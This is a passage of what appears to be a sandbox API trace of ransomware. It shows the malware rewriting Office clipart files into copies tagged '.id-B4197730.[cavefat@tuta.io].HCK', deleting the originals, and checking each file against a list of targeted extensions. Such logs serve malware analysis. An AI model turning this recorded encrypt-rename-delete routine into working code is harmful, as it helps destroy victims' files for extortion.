Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238983.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0171.285] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5048) returned 1 [0171.285] CloseHandle (hObject=0x364) returned 1 [0171.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238983.wmf")) returned 0x220 [0171.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238983.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238983.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.293] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.293] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238983.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0171.301] GetLastError () returned 0x0 [0171.301] ReadFile (in: hFile=0x374, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x13b8, lpOverlapped=0x0) returned 1 [0171.305] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x13c0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x13c0, lpOverlapped=0x0) returned 1 [0171.305] ReadFile (in: hFile=0x374, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.305] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.306] SetEndOfFile (hFile=0x370) returned 1 [0171.307] CloseHandle (hObject=0x370) returned 1 [0171.308] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.308] SetEndOfFile (hFile=0x374) returned 1 [0171.314] CloseHandle (hObject=0x374) returned 1 [0171.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.316] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238983.wmf")) returned 1 [0171.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF") returned 68 [0171.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF") returned 68 [0171.318] lstrlenW (lpString=".doc") returned 4 [0171.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.318] lstrlenW (lpString=".docx") returned 5 [0171.318] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0171.318] lstrlenW (lpString=".pdf") returned 4 [0171.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.318] lstrlenW (lpString=".xls") returned 4 [0171.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.318] lstrlenW (lpString=".xlsx") returned 5 [0171.318] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0171.318] lstrlenW (lpString=".ppt") returned 4 [0171.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF") returned 68 [0171.318] lstrlenW (lpString=".zip") returned 4 [0171.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.318] lstrlenW (lpString=".rar") returned 4 [0171.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.318] lstrlenW (lpString=".bz2") returned 4 [0171.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.318] lstrlenW (lpString=".7z") returned 3 [0171.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF") returned 68 [0171.318] lstrlenW (lpString=".dbf") returned 4 [0171.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF") returned 68 [0171.318] lstrlenW (lpString=".1cd") returned 4 [0171.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF") returned 68 [0171.319] lstrlenW (lpString=".jpg") returned 4 [0171.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF") returned 68 [0171.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF") returned 68 [0171.319] lstrlenW (lpString=".doc") returned 4 [0171.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.319] lstrlenW (lpString=".docx") returned 5 [0171.319] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0171.319] lstrlenW (lpString=".pdf") returned 4 [0171.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.319] lstrlenW (lpString=".xls") returned 4 [0171.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.319] lstrlenW (lpString=".xlsx") returned 5 [0171.319] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0171.319] lstrlenW (lpString=".ppt") returned 4 [0171.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF") returned 68 [0171.319] lstrlenW (lpString=".zip") returned 4 [0171.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.319] lstrlenW (lpString=".rar") returned 4 [0171.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.319] lstrlenW (lpString=".bz2") returned 4 [0171.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.319] lstrlenW (lpString=".7z") returned 3 [0171.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF") returned 68 [0171.319] lstrlenW (lpString=".dbf") returned 4 [0171.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF") returned 68 [0171.319] lstrlenW (lpString=".1cd") returned 4 [0171.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF") returned 68 [0171.319] lstrlenW (lpString=".jpg") returned 4 [0171.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.319] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.319] lstrlenW (lpString="J0239191.WMF") returned 12 [0171.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239191.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0171.321] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5220) returned 1 [0171.321] CloseHandle (hObject=0x30c) returned 1 [0171.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239191.wmf")) returned 0x220 [0171.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239191.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0171.329] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.329] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239191.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0171.334] GetLastError () returned 0x0 [0171.334] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1464, lpOverlapped=0x0) returned 1 [0171.335] WriteFile (in: hFile=0x30c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1470, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1470, lpOverlapped=0x0) returned 1 [0171.336] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.336] WriteFile (in: hFile=0x30c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.336] SetEndOfFile (hFile=0x30c) returned 1 [0171.341] CloseHandle (hObject=0x30c) returned 1 [0171.344] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.344] SetEndOfFile (hFile=0x370) returned 1 [0171.346] CloseHandle (hObject=0x370) returned 1 [0171.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239191.wmf")) returned 1 [0171.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF") returned 68 [0171.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF") returned 68 [0171.352] lstrlenW (lpString=".doc") returned 4 [0171.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.352] lstrlenW (lpString=".docx") returned 5 [0171.352] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0171.352] lstrlenW (lpString=".pdf") returned 4 [0171.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.352] lstrlenW (lpString=".xls") returned 4 [0171.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.352] lstrlenW (lpString=".xlsx") returned 5 [0171.352] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0171.352] lstrlenW (lpString=".ppt") returned 4 [0171.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF") returned 68 [0171.352] lstrlenW (lpString=".zip") returned 4 [0171.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.352] lstrlenW (lpString=".rar") returned 4 [0171.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.352] lstrlenW (lpString=".bz2") returned 4 [0171.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.352] lstrlenW (lpString=".7z") returned 3 [0171.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF") returned 68 [0171.352] lstrlenW (lpString=".dbf") returned 4 [0171.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF") returned 68 [0171.352] lstrlenW (lpString=".1cd") returned 4 [0171.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF") returned 68 [0171.352] lstrlenW (lpString=".jpg") returned 4 [0171.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF") returned 68 [0171.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF") returned 68 [0171.353] lstrlenW (lpString=".doc") returned 4 [0171.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.353] lstrlenW (lpString=".docx") returned 5 [0171.353] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0171.353] lstrlenW (lpString=".pdf") returned 4 [0171.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.353] lstrlenW (lpString=".xls") returned 4 [0171.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.353] lstrlenW (lpString=".xlsx") returned 5 [0171.353] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0171.353] lstrlenW (lpString=".ppt") returned 4 [0171.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF") returned 68 [0171.353] lstrlenW (lpString=".zip") returned 4 [0171.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.353] lstrlenW (lpString=".rar") returned 4 [0171.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.353] lstrlenW (lpString=".bz2") returned 4 [0171.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.353] lstrlenW (lpString=".7z") returned 3 [0171.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF") returned 68 [0171.353] lstrlenW (lpString=".dbf") returned 4 [0171.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF") returned 68 [0171.353] lstrlenW (lpString=".1cd") returned 4 [0171.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF") returned 68 [0171.353] lstrlenW (lpString=".jpg") returned 4 [0171.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.353] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.353] lstrlenW (lpString="J0239941.WMF") returned 12 [0171.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239941.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0171.369] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5144) returned 1 [0171.369] CloseHandle (hObject=0x30c) returned 1 [0171.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239941.wmf")) returned 0x220 [0171.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239941.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239941.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.373] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.373] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239941.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0171.381] GetLastError () returned 0x0 [0171.381] ReadFile (in: hFile=0x374, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1418, lpOverlapped=0x0) returned 1 [0171.383] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1420, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1420, lpOverlapped=0x0) returned 1 [0171.384] ReadFile (in: hFile=0x374, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.384] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.384] SetEndOfFile (hFile=0x39c) returned 1 [0171.387] CloseHandle (hObject=0x39c) returned 1 [0171.388] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.388] SetEndOfFile (hFile=0x374) returned 1 [0171.392] CloseHandle (hObject=0x374) returned 1 [0171.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239941.wmf")) returned 1 [0171.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF") returned 68 [0171.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF") returned 68 [0171.397] lstrlenW (lpString=".doc") returned 4 [0171.397] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.397] lstrlenW (lpString=".docx") returned 5 [0171.397] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0171.397] lstrlenW (lpString=".pdf") returned 4 [0171.397] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.397] lstrlenW (lpString=".xls") returned 4 [0171.397] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.397] lstrlenW (lpString=".xlsx") returned 5 [0171.397] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0171.397] lstrlenW (lpString=".ppt") returned 4 [0171.397] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF") returned 68 [0171.398] lstrlenW (lpString=".zip") returned 4 [0171.398] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.398] lstrlenW (lpString=".rar") returned 4 [0171.398] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.398] lstrlenW (lpString=".bz2") returned 4 [0171.398] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.398] lstrlenW (lpString=".7z") returned 3 [0171.398] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF") returned 68 [0171.398] lstrlenW (lpString=".dbf") returned 4 [0171.398] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF") returned 68 [0171.398] lstrlenW (lpString=".1cd") returned 4 [0171.398] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF") returned 68 [0171.398] lstrlenW (lpString=".jpg") returned 4 [0171.398] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF") returned 68 [0171.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF") returned 68 [0171.398] lstrlenW (lpString=".doc") returned 4 [0171.398] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.398] lstrlenW (lpString=".docx") returned 5 [0171.398] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0171.398] lstrlenW (lpString=".pdf") returned 4 [0171.398] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.398] lstrlenW (lpString=".xls") returned 4 [0171.398] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.398] lstrlenW (lpString=".xlsx") returned 5 [0171.398] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0171.398] lstrlenW (lpString=".ppt") returned 4 [0171.398] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF") returned 68 [0171.398] lstrlenW (lpString=".zip") returned 4 [0171.398] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.398] lstrlenW (lpString=".rar") returned 4 [0171.398] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.398] lstrlenW (lpString=".bz2") returned 4 [0171.398] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.398] lstrlenW (lpString=".7z") returned 3 [0171.398] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF") returned 68 [0171.398] lstrlenW (lpString=".dbf") returned 4 [0171.398] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF") returned 68 [0171.398] lstrlenW (lpString=".1cd") returned 4 [0171.399] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF") returned 68 [0171.399] lstrlenW (lpString=".jpg") returned 4 [0171.399] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.399] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.399] lstrlenW (lpString="J0239955.WMF") returned 12 [0171.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239955.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0171.405] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4936) returned 1 [0171.405] CloseHandle (hObject=0x380) returned 1 [0171.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft 